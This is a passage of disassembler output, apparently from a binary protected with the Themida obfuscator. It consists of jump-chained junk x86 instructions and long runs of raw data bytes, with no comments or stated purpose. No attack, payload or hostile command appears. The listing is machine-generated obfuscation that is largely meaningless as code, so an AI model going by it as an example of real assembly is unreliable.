		mov	eax, 6F801E44h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 0C23EAB86h
		xor	ebx, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_551CBD
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E0E92404h, 810000CFh, 0D66C21CFh, 6EFC153h,	71EBE781h
		dd 53557654h, 350850BBh, 2214BD07h, 0DD01058Ah,	81241C8Bh
		dd 4C4h, 6E5C100h, 1ED81h, 0C0E90000h, 0FF0000D7h, 68592434h
		dd 0FAEh, 89240C89h, 7298E9E1h,	2C8B0000h, 4C48324h, 77DC581h
		dd 348B4BB2h, 90A1E924h, 4C680000h, 89000072h, 0F389241Ch
		dd 0CCE9DA89h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548E6B:				; CODE XREF: Themida_:005441BAj
		mov	[esp], ecx
		jmp	loc_5466B0
; ---------------------------------------------------------------------------

loc_548E73:				; CODE XREF: Themida_:00545004j
		add	esi, 0FFFFFFFFh
		add	esi, 0EF66D031h
		sub	ebp, esi
		pop	esi
		add	ebp, eax
		add	ebp, 21E71028h
		mov	eax, [esp]
		jmp	loc_543808
; ---------------------------------------------------------------------------

loc_548E92:				; CODE XREF: Themida_:0054B276j
		neg	edx
		jmp	loc_5452DC
; ---------------------------------------------------------------------------
		db 1, 0C3h, 0FFh
		dd 0E9582434h, 0FFFFA476h, 4C4815Ah, 0E9000000h, 8898h
; ---------------------------------------------------------------------------

loc_548EB0:				; CODE XREF: Themida_:0054C8E0j
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5441B1
; ---------------------------------------------------------------------------
		db 57h
		dd 4A2F61BFh, 0A2EBBB5Ah, 0FB296C12h, 81243C8Bh, 4C4h
		dd 34815300h, 7301DD24h, 0F181597Dh, 7D7301DDh,	0B7A7E95Bh
		dd 0C89FFFFh, 0B924h, 0C1810000h, 55AC6A49h, 0E981D129h
		dd 55AC6A49h, 9BE9CA87h, 81000065h, 796ACAh, 0E9DAF773h
		dd 0FFFFAF5Dh, 0F334E942h, 0EC81FFFFh, 4, 24048F54h, 0B9FAE9h
		dd 5E2C100h, 0E281D2F7h, 4D0573FBh, 5207EAC1h, 0C281E289h
		dd 4, 4EA81h, 0D7E90000h, 83000035h, 2C8904ECh,	815D5424h
		dd 4C5h, 4C58300h, 5C242C87h, 0A1BD5556h, 0BE7CC206h, 0DB62FE15h
		dd 2501C681h, 73E94E00h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F77:				; CODE XREF: Themida_:005563F1j
		mov	esi, esp
		jmp	loc_54A734
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 5166C8B6h, 8B95E99Ch, 0B353FFFFh, 5BD800A6h,	0DEE9DE04h
		dd 8100000Fh, 0F30166EEh, 0D9C68156h, 813BA75Bh, 8E4EAEEEh
		dd 5EF329E3h, 1C8BDF01h, 4C48124h, 83000000h, 3C3302C7h
		dd 243C3124h, 8B243C33h, 0CD32424h, 50E99C24h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548FCF:				; CODE XREF: Themida_:00542F58j
		pop	edx
		push	ecx
		mov	ecx, 79D53A2Fh
		sub	edx, ecx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_54CE34
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 87h
		dd 8E6C1DEh, 0EF01EE81h, 0F229FFEFh, 0D8F2815Eh, 0E936D67Ah
		dd 7698h
; ---------------------------------------------------------------------------

loc_548FFC:				; CODE XREF: Themida_:0055029Ej
		mov	ebp, 5C0D0962h
		neg	ebp
		jmp	loc_541B9B
; ---------------------------------------------------------------------------
aS_		db '^é"_',0
		align 2
		dw 0D388h
		dd 0E924148Bh, 651Dh, 8059EC88h, 0E22801ECh, 0C62AE9h
		db 0
; ---------------------------------------------------------------------------

loc_549025:				; CODE XREF: Themida_:005446EFj
		mov	ecx, 5FDF2C00h
		mov	esi, 1C6E2D6Eh
		add	esi, 408A06BBh
		jmp	loc_54ACC4
; ---------------------------------------------------------------------------

loc_54903A:				; CODE XREF: Themida_:0054A36Aj
		mov	ecx, 4A327D4Bh
		jmp	loc_54DE7D
; ---------------------------------------------------------------------------

loc_549044:				; CODE XREF: Themida_:0054FC8Aj
		push	edx
		mov	edx, 7F5E5651h
		xor	edx, 53270260h
		or	edx, 7BEB5B4Dh
		add	edx, 0C061C194h
		jmp	loc_5456BC
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 4
		dd 5C242C87h, 0E9243489h, 1E02h, 83241C8Bh, 0EC8104C4h
		dd 4, 52241C89h, 0FF4777BAh, 0CA814A3Fh, 4B947D59h, 2899E9h
		dd 5EF10100h, 5C240C87h, 2BB53h, 0D8010000h, 6F21685Bh
		dd 4890000h, 2474FF24h,	48F5804h, 4D25C24h, 64E99C24h
		dd 66FFFF8Ah, 513C1CBFh, 1F52B966h, 59CD8966h, 4EC81h
		dd 33E90000h, 5AFFFFE5h, 0FF964CE9h
		db 0FFh
byte_5490D9	db 0ACh, 0E9h, 1Dh	; DATA XREF: Themida_:00541AACo
		dd 0BD000019h, 0FF9F9F99h, 0E95DE831h, 0A724h, 68E9E931h
		dd 33000016h, 0C31240Ch, 240C3324h, 0E924248Bh,	2FE4h
		dd 6887C181h, 0F9014612h, 6887E981h, 875F4612h,	85C240Ch
		dd 0E99C2404h, 0FFFF89FFh
; ---------------------------------------------------------------------------

loc_549120:				; CODE XREF: Themida_:00546547j
		pop	eax
		mov	[edx], ecx
		mov	edx, [esp]
		push	ebp
		jmp	loc_5536BF
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 8B2434FFh, 89572404h, 0B4768E7h, 0C890000h
		dd 27E2B924h, 0E9813F96h, 0FFFFFFFFh, 418DE181h, 0C9812670h
		dd 4D7F1F87h, 68E98141h, 0E927A5D5h, 0FFFFA9FBh, 0D9E98141h
		dd 1D5B6D6h, 240C8BCEh,	0FFE50AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549175:				; CODE XREF: Themida_:0054FBA0j
		sub	edi, 37286D4Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_541F8F
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0CA01A57Ch, 815DEB01h, 9D12F8EBh, 0EB835953h, 241C8704h
		dd 0E924248Bh, 0FFFFC6A0h
; ---------------------------------------------------------------------------

loc_5491A4:				; CODE XREF: Themida_:0054E1A0j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_554398
; ---------------------------------------------------------------------------
		dd 188EC581h, 46E95167h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5491B7:				; CODE XREF: Themida_:00547223j
		pop	eax
		or	edx, ebp
		pop	ebp
		sub	edx, 5BFB9FD1h
		jmp	loc_543076
; ---------------------------------------------------------------------------

loc_5491C6:				; CODE XREF: Themida_:0054D238j
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_54978F
; ---------------------------------------------------------------------------
		db 1
		dd 0BA525BDEh, 4, 565AD601h, 42474FFh, 24048F5Eh, 0FFD2F4E9h
		dd 58C309FFh, 451FEB81h, 0C3815337h, 0A2E68520h, 815BD989h
		dd 50FA3EC1h, 3FC781B0h, 16BAB35h, 3FEF81CFh, 8B6BAB35h
		dd 8956240Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 118EE9h
		dd 5DE90100h, 0BF57F901h, 6CD544D5h, 7FC9E9h, 44FC2D00h
		dd 0F8011AD7h, 0D744FC05h, 7CBE91Ah, 0E22D0000h, 313AA7EFh
		dd 0EB8158C3h, 1, 0B8E9E9h, 88B5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54926A:				; CODE XREF: Themida_:0054B20Dj
		add	esp, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp

loc_549279:				; CODE XREF: Themida_:0054F1CCj
					; Themida_:00551B81j
		push	esi
		push	esp
		jmp	loc_5499FE
; ---------------------------------------------------------------------------

loc_549280:				; CODE XREF: Themida_:0054DBDAj
		and	ecx, 32761A0Ch
		sub	ecx, 414D6165h
		and	ecx, 3BD74128h
		jmp	loc_551BA2
; ---------------------------------------------------------------------------

loc_549297:				; CODE XREF: Themida_:005519DBj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54EE35
; ---------------------------------------------------------------------------
		dd 48BC201h, 69DE924h, 7ABF0000h, 1179F67h, 5F08247Ch
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_556072
; ---------------------------------------------------------------------------

loc_5492C6:				; CODE XREF: Themida_:005546B8j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		push	eax
		mov	eax, 1811294h
		push	0
		sub	[esp], eax
		pop	eax
		jmp	loc_541EC5
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0C18104C4h, 4, 28C8B850h,	0BE5638EFh, 23AD249Ah
		dd 4AFCF681h, 0C6811C73h, 572D39DDh, 0CBE7E9h
		db 0
byte_549339	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005418B0o
aHZ		db '$h<Z',0
		align 2
		dw 1C89h
		dd 0E9E38924h, 0FFFF9A2Eh, 5164E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549352:				; CODE XREF: Themida_:00544661j
		not	ebp
		shr	ebp, 2
		sub	ebp, 28A91E89h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		push	edx
		push	5DAE5852h
		jmp	loc_543462
; ---------------------------------------------------------------------------
aH2		db ']h',0Dh,'2',0
		align 10h
		dd 89243489h, 4C681E6h,	0E9000000h, 0A8C0h, 3F8EE81h, 0F3010477h
		dd 8124348Bh, 4C4h, 241C3300h, 33241C31h, 0E95C241Ch, 0FFFFFD7Ch
; ---------------------------------------------------------------------------

loc_5493B0:				; CODE XREF: Themida_:0055141Bj
		sub	edx, 234B3146h
		jmp	loc_543740
; ---------------------------------------------------------------------------
		db 31h
		dd 0C6215BD8h, 2C68158h, 1BFDEFAh, 0B3E95EF2h, 56FFFFE9h
		dd 0EA015E5Dh, 0C6E9h, 242C8B00h, 3304C483h, 0C31240Ch
		dd 240C3324h, 6624248Bh, 0E924048Bh, 0FFFFA692h, 8159CF88h
		dd 4ECh, 24048900h, 0C688F888h,	0E924048Bh, 4A37h
; ---------------------------------------------------------------------------

loc_54940C:				; CODE XREF: Themida_:00553FDBj
		add	ebx, 56557869h
		jmp	loc_543099
; ---------------------------------------------------------------------------

loc_549417:				; CODE XREF: Themida_:0054B33Fj
		xor	[ebx], eax
		pop	ebx
		push	ebx
		push	6214h
		mov	[esp], edi
		push	554h
		jmp	loc_552FFF
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 0FFh
		dd 0FF042474h
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54ADB0
; ---------------------------------------------------------------------------

loc_549445:				; CODE XREF: Themida_:005478B6j
		pop	edi
		push	esi
		jmp	loc_5562A8
; ---------------------------------------------------------------------------
		dd 8145D5F7h, 6F2D1FC5h, 0ADCFE97Eh
		db 2 dup(0)
word_54945A	dw 34FFh		; DATA XREF: Themida_:00541844o
		dd 240C8B24h, 7E25E9h, 4C48100h, 1000000h, 51CCE9CBh, 0C4BF0000h
		dd 1078B3Ch, 2D77E9FBh,	8B660000h, 46E92404h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549487:				; CODE XREF: Themida_:0054CC0Fj
		pop	eax
		push	edi
		mov	edi, 29CB2F54h
		sub	edi, 1FA1C7Ch
		sub	edi, 6516FC7h
		jmp	loc_54D033
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 5619F281h, 0EF81E382h, 23D22AD9h, 0C781D701h
		dd 23D22AD9h, 8124148Bh, 4C4h, 4C78300h, 8B243C87h, 0EB682424h
		dd 0E9000067h, 0FFFFB26Eh, 0E905EFC0h, 0FFFF8AFFh
; ---------------------------------------------------------------------------

loc_5494E0:				; CODE XREF: Themida_:00545434j
		xor	ecx, [esp]
		jmp	loc_55563A
; ---------------------------------------------------------------------------

loc_5494E8:				; CODE XREF: Themida_:00556374j
		add	esp, 4
		jmp	loc_547CBE
; ---------------------------------------------------------------------------

loc_5494F0:				; CODE XREF: Themida_:00553778j
		pop	ebx
		add	eax, ecx
		jmp	loc_548335
; ---------------------------------------------------------------------------

loc_5494F8:				; CODE XREF: Themida_:00552EB1j
		pop	esp
		mov	[esp], ebp
		jmp	loc_5531EB
; ---------------------------------------------------------------------------

loc_549501:				; CODE XREF: Themida_:00552526j
		neg	ebp
		push	eax
		mov	eax, 4335F5AAh
		sub	ebp, eax
		jmp	loc_552390
; ---------------------------------------------------------------------------
		dd 0B67796B8h, 3EC38177h, 15C5F33h, 3EEB81C3h, 585C5F33h
		dd 0FFAAB5E9h, 0E9C328FFh, 0FFFFDFCBh
; ---------------------------------------------------------------------------

loc_549530:				; CODE XREF: Themida_:005487ECj
		xor	esi, 3793B924h
		jmp	loc_54E462
; ---------------------------------------------------------------------------
		db 81h
		dd 380CA0C7h, 8DF7815Ch, 870B8905h, 87D1F7CFh, 0BB66E9CFh
		db 2 dup(0)
word_549552	dw 8B66h		; DATA XREF: Themida_:005419BCo
		dd 0A7E92404h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54955B:				; CODE XREF: Themida_:00554E32j
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_553D0F
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 855C240Ch, 0A4E99CC8h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54957B:				; CODE XREF: Themida_:0054A1B7j
		xor	ecx, 25F41373h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		jmp	loc_551BC0
; ---------------------------------------------------------------------------
		dw 0E94Ah
		dd 0FFFF907Ah, 333FC281h, 0D731B0FCh, 0FB56E95Ah, 0E689FFFFh
		dd 4A0BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5495B6:				; CODE XREF: Themida_:00543D53j
		add	edx, 129D1BAAh
		jmp	loc_555EEA
; ---------------------------------------------------------------------------
aN1S		db '­1ØéÂ:',0           ; DATA XREF: Themida_:005418FCo
		db 0
; ---------------------------------------------------------------------------

loc_5495C9:				; CODE XREF: Themida_:005420E1j
		add	ecx, 7E8B2158h
		jmp	loc_54679D
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 2C3515B5h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 0EC832414h, 24348904h, 840D64BEh, 0BC61E93Eh, 87660000h
		dd 0E5C0E9D3h, 0D789FFFFh, 5FFD015Ah, 0AA38E956h, 0E989FFFFh
		dd 0BCE95155h
		db 87h,	2 dup(0)
byte_54961B	db 56h			; DATA XREF: Themida_:00541A74o
		dd 0FFFF8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549621:				; CODE XREF: Themida_:0054813Cj
		sub	edi, 386C25EAh
		xor	edi, 804DCDC2h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_554CE8
; ---------------------------------------------------------------------------

loc_54963B:				; CODE XREF: Themida_:0054DE21j
		push	esi
		jmp	loc_5508C0
; ---------------------------------------------------------------------------

loc_549641:				; CODE XREF: Themida_:0054C322j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_550D8D
; ---------------------------------------------------------------------------

loc_54964F:				; CODE XREF: Themida_:0054D942j
		mov	[esp], ebx
		jmp	loc_546792
; ---------------------------------------------------------------------------

loc_549657:				; CODE XREF: Themida_:005488DDj
		mov	esi, 3F57262h
		jmp	loc_542034
; ---------------------------------------------------------------------------
aSsb		db ')Ñé‘B',0
		align 4
		dd 0B343E951h, 5D52FFFFh, 0FFE8315Ah, 685D2434h, 707Fh
		dd 89243C89h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 2404895Ch
		dd 35A2E9h, 24348B00h, 5004C483h, 405E089h, 0E9000000h
		dd 0FFFFCE01h, 0BD242C89h, 367405DFh, 0FB43DFB9h, 0E9E901FEh
		dd 4721h, 0E95AD601h, 2103h, 4C481h, 41E90000h,	80000035h
		dd 0EDC083C5h, 7EDC008h, 6D68C5FEh, 0E9000008h,	0FFFFE654h
; ---------------------------------------------------------------------------

loc_5496E8:				; CODE XREF: Themida_:00542769j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 9
		jmp	loc_541DDB
; ---------------------------------------------------------------------------

loc_5496F8:				; CODE XREF: Themida_:00551E8Bj
		pop	esi
		sub	ecx, ebx
		mov	ebx, [esp]
		push	3D62h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 32E74037h
		shl	edx, 8
		dec	edx
		xor	edx, 0E74036FBh
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_541DCD
; ---------------------------------------------------------------------------
		db 0E9h, 0F1h, 83h
		dd 0EF83FFFFh, 243C3304h, 33243C31h, 248B243Ch,	8792E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549742:				; CODE XREF: Themida_:00549BC2j
		mov	edx, 5AFE093Fh
		jmp	loc_54C803
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0C48104C4h, 4, 10BFB850h,	44017AC6h, 50580424h
		dd 0CC7D28B8h, 24440107h, 0ACE95804h, 57FFFF83h, 4BFh
		dd 9A51E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54977E:				; CODE XREF: Themida_:0054684Bj
		add	edx, 4
		push	edi
		mov	edi, 3A9131A2h
		jmp	loc_555B84
; ---------------------------------------------------------------------------

loc_54978F:				; CODE XREF: Themida_:005491D2j
		mov	ebx, esp
		push	edx
		mov	edx, 4DD07F41h
		jmp	loc_5551FE
; ---------------------------------------------------------------------------
		dd 0CDE9D6F7h, 5C0000C6h, 4BE56h, 0F0010000h, 0FFFC7CE9h
		dd 0BA525EFFh, 57151207h, 1C74C281h, 0C68125C1h, 533E03AAh
		dd 0EE81D629h, 533E03AAh, 8124148Bh, 4C4h, 2FF68100h, 811E750Ah
		dd 9FF6BEC6h, 2C8156B4h, 0B2077D24h, 0F658E94Bh, 0C783FFFFh
		dd 243C8702h, 2824248Bh, 0E99C2404h, 0FFFF831Fh, 383EBF57h
		dd 7C293925h, 3C8B0824h, 4C48124h, 0E9000000h, 6EB6h, 0BF57D629h
		dd 1D7A17EEh, 5A5FFE01h, 0B850D601h, 27E32816h,	0FF58C601h
		dd 685A2434h, 4E70h, 89242C89h,	0BBBB53E5h, 550D5228h
		dd 0E06B1ABDh, 8ED8170h, 2906C326h, 0BF575DEBh,	4E657866h
		dd 5189CF81h, 4F476390h, 5D94EF81h, 0FB01132Ah,	5BDD015Fh
		dd 3304C583h, 2C31242Ch, 242C3324h, 2434875Ch, 0F24248Bh
		dd 4168C8BFh, 0E9000038h, 19EFh
; ---------------------------------------------------------------------------

loc_54988C:				; CODE XREF: Themida_:0054F9E3j
		add	edx, 4
		add	edx, 4
		jmp	loc_5524F2
; ---------------------------------------------------------------------------
word_54989A	dw 34FFh		; DATA XREF: Themida_:00541AA8o
		dd 0EF1AE924h, 5B50FFFFh, 232D6850h, 24890000h,	24048124h
		dd 4, 40558h, 0E0E90000h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5498BF:				; CODE XREF: Themida_:00552507j
		pop	dword ptr [esp]
		pop	esp
		push	4025h
		jmp	loc_545EFC
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0BD550000h, 0A2C036Ah, 0FFFFB951h, 0BB53FFFFh, 20AC446Ch
		dd 15BDD29h, 6CC581CDh,	5920AC44h, 3194B951h, 93E94BA2h
		dd 81FFFFB8h, 383889C6h, 7EB8500Dh, 0C1576D2Bh,	912D05E8h
		dd 0F73C6526h, 11CE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549916:				; CODE XREF: Themida_:0054B199j
		mov	dl, 0B0h
		sub	al, dl
		jmp	loc_548BE0
; ---------------------------------------------------------------------------

loc_54991F:				; CODE XREF: Themida_:00554156j
		mov	edi, 34645380h
		shr	edi, 5
		and	edi, 66F358DDh
		push	ecx
		jmp	loc_5545A1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 2C18100h, 87000000h, 77E9240Ch, 5600003Ah, 0C681E689h
		dd 4, 8704C683h, 685C2434h, 2B27h, 17DCE9h, 0CEE95800h
		dd 55000029h, 159AE9h, 2D685500h, 89000049h, 0EC812434h
		dd 4, 24048F54h, 0B01BE9h, 97E95900h, 5D00008Eh, 4C481h
		dd 0F0010000h, 8124348Bh, 4C4h,	24043300h, 33240431h, 248B2404h
		dd 0C8B6624h, 0FFBBE924h, 0C481FFFFh, 4, 5C243C87h, 0E9E08950h
		dd 0FFFFB26Dh, 4EC835Dh, 0BE243489h, 4,	2477C781h, 0B8501ABEh
		dd 39542Dh, 0FFBBA5E9h,	0CE815EFFh, 1682C89h, 0A42C681h
		dd 0F18902E6h, 0E9C8095Eh, 1FDCh, 2EFDE992h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5499FE:				; CODE XREF: Themida_:0054927Bj
		pop	esi
		jmp	loc_54A322
; ---------------------------------------------------------------------------
		dd 21E9E389h, 0B7FFFFBFh, 1B652A1h, 0EEC0C6FEh,	0AFC68005h
		dd 3D29E9h, 243C8B00h, 4C481h, 69E90000h, 1FFFF9Ch, 0E9F4E9CBh
		dd 5605FFFFh, 250BE100h, 68035792h, 0B0E75F2Dh,	0E9C601EFh
		dd 7A21h, 0E924048Fh, 0C274h
; ---------------------------------------------------------------------------

loc_549A50:				; CODE XREF: Themida_:0054B4F1j
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3606091Fh
		shr	eax, 8
		push	ecx
		mov	ecx, 2EA967CBh
		not	ecx
		push	ebx
		mov	ebx, 729D46BEh
		xor	ebx, 71A8793Bh
		jmp	loc_54F450
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0A71BEC17h, 0A7E9DD31h, 81000059h, 42404h, 34FF0000h
		dd 0C4835F24h, 4EC8304h, 68240C89h, 4, 602EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549AC2:				; CODE XREF: Themida_:00542FFFj
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	edi
		pop	eax
		pop	edi
		jmp	loc_552C4C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E9DC8850h, 0FFFFB31Ch, 42B1ED81h, 0E9592BC5h, 0CFD5h
		dd 0FF802AE9h, 6866FFh,	0B9CEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549AFE:				; CODE XREF: Themida_:0054591Ej
		push	ecx
		mov	ecx, 770107CDh
		jmp	loc_547DC7
; ---------------------------------------------------------------------------

loc_549B09:				; CODE XREF: Themida_:00542540j
		mov	[esp], edi
		jmp	loc_5559DC
; ---------------------------------------------------------------------------
		db 89h,	0C2h, 0E9h
		dd 185Bh, 2CC0FE5Bh, 58C328E2h,	487EB80h, 2CD800D6h, 0B845E9D6h
		dd 8957FFFFh, 0DEADE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549B36:				; CODE XREF: Themida_:0054ADC3j
		mov	[esp], edi
		jmp	loc_54D40F
; ---------------------------------------------------------------------------

loc_549B3E:				; CODE XREF: Themida_:005448ECj
		push	edi
		push	349Bh
		jmp	loc_5556CF
; ---------------------------------------------------------------------------

loc_549B49:				; CODE XREF: Themida_:00550D92j
		mov	[esp], ecx
		jmp	loc_550E76
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5
		dd 25E35318h, 48E9815Eh, 0E92C0B5Fh, 0FFFF905Eh, 4C681h
		dd 34870000h, 24248B24h, 0FFDBDCE9h, 4EC81FFh, 89000000h
		dd 0ABE92404h, 0F7FFFFEBh, 0F3BB53D1h, 31293B60h, 0C43E9D9h
		dd 875C0000h, 248B2434h, 2434FF24h, 0FF95ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549BA1:				; CODE XREF: Themida_:0054D016j
		shr	ebp, 3
		add	ebp, 42DA723Bh
		sub	ebp, 0C8922283h
		sub	ebp, 1
		not	ebp
		xor	ebp, 46881C14h
		or	ebp, 0F1B55D6h
		push	edx
		jmp	loc_549742
; ---------------------------------------------------------------------------

loc_549BC7:				; CODE XREF: Themida_:00550D3Aj
		mov	ebp, [esp]
		add	esp, 4
		inc	ebx
		push	esi
		jmp	loc_5506D4
; ---------------------------------------------------------------------------

loc_549BD7:				; CODE XREF: Themida_:0054EB12j
		add	ebx, ebp
		add	ebx, 43B76F48h
		pop	ebp
		add	ebx, 7A8D1F28h
		jmp	loc_54CA38
; ---------------------------------------------------------------------------
		db 56h
		dd 4A186851h, 70E93928h, 5AFFFFD6h, 0FFC215E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549BFD:				; CODE XREF: Themida_:005472B0j
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 70E90000h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549C23:				; CODE XREF: Themida_:0054BF5Fj
		mov	al, 9Ch
		not	al
		add	al, 79h
		jmp	loc_544BDD
; ---------------------------------------------------------------------------

loc_549C2E:				; CODE XREF: Themida_:00556940j
		mov	edi, 93739701h
		sub	edi, ebx
		pop	ebx
		mov	ebp, edi
		pop	edi
		add	ebp, 0AA78E62Bh
		mov	edi, ebp
		pop	ebp
		sub	ecx, 44BC3E75h
		add	ecx, edi
		add	ecx, 44BC3E75h
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_547FE2
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 56h
		dd 5E316852h, 815A2957h, 0A8A1D3C2h, 5AD689D6h,	0E95EF101h
		dd 0FFFFE7C4h
dword_549C80	dd 207F83ADh, 4F840F00h, 81FFFFC9h, 3852A8C6h, 0C1B95106h
					; DATA XREF: Themida_:00541910o
		dd 11D2A65h, 0C60159CEh, 2856851h, 0F7597DD5h, 6DE949D1h
		dd 89FFFF92h, 5D59242Ch, 6A84BA52h, 0EA81059Eh,	3ED23956h
		dd 0B49C281h, 55E9B00Eh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549CC7:				; CODE XREF: Themida_:0054FF1Aj
		pop	ebx
		add	esp, 4
		add	ebp, edi
		jmp	loc_5473F3
; ---------------------------------------------------------------------------
byte_549CD5	db 66h,	8Bh, 4		; DATA XREF: Themida_:005418E8o
aSL		db '$éÛL',0
		align 2

loc_549CDE:				; CODE XREF: Themida_:005563D4j
		or	edi, ebx
		pop	ebx
		xor	edi, 377E937Dh
		and	esi, edi
		mov	edi, [esp]
		jmp	loc_54327F
; ---------------------------------------------------------------------------

loc_549CF1:				; CODE XREF: Themida_:0054C62Fj
		jmp	loc_550229
; ---------------------------------------------------------------------------
word_549CF6	dw 34FFh		; DATA XREF: Themida_:00541A34o
		dd 24048B24h, 8304C483h, 1C8904ECh, 815B5424h, 4C3h, 4685000h
		dd 0E9000000h, 0FFFFE0EBh, 89242C89h, 14FEE9E5h, 0C310000h
		dd 240C3324h, 8A5EE9h, 0C685100h, 89000036h, 0CEBE2434h
		dd 0B963E818h, 0E5056130h, 67E5E981h, 0F1017DD9h, 81668h
		dd 243C8900h, 0D967E5BFh, 8BF9017Dh, 0C481243Ch, 4, 0E924348Bh
		dd 4E41h, 0C68806B0h, 7E07E958h, 0F797FFFFh, 0A84FE9D0h
		dd 48FFFFFh, 8285E924h,	0D801FFFFh, 9608E9h, 0C8B5800h
		dd 9E35E924h, 3EBB0000h, 1392538h, 5B08245Ch, 4244481h
		dd 65E64906h, 4244481h,	68FB6BCBh, 4245C01h, 0FFE9F8E9h
		dd 0C48159FFh, 4, 0BC31E9h
		db 0
; ---------------------------------------------------------------------------

loc_549DC1:				; CODE XREF: Themida_:005562AEj
		mov	edi, 75F65A98h
		or	edi, 0CD01545h
		jmp	loc_54B54D
; ---------------------------------------------------------------------------

loc_549DD1:				; CODE XREF: Themida_:0054E6F1j
		add	esp, 4
		push	edi
		push	68ABh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_544D51
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5324048Bh, 0E9E389h,	81000007h, 4C4h, 0E9C30100h, 30EBh
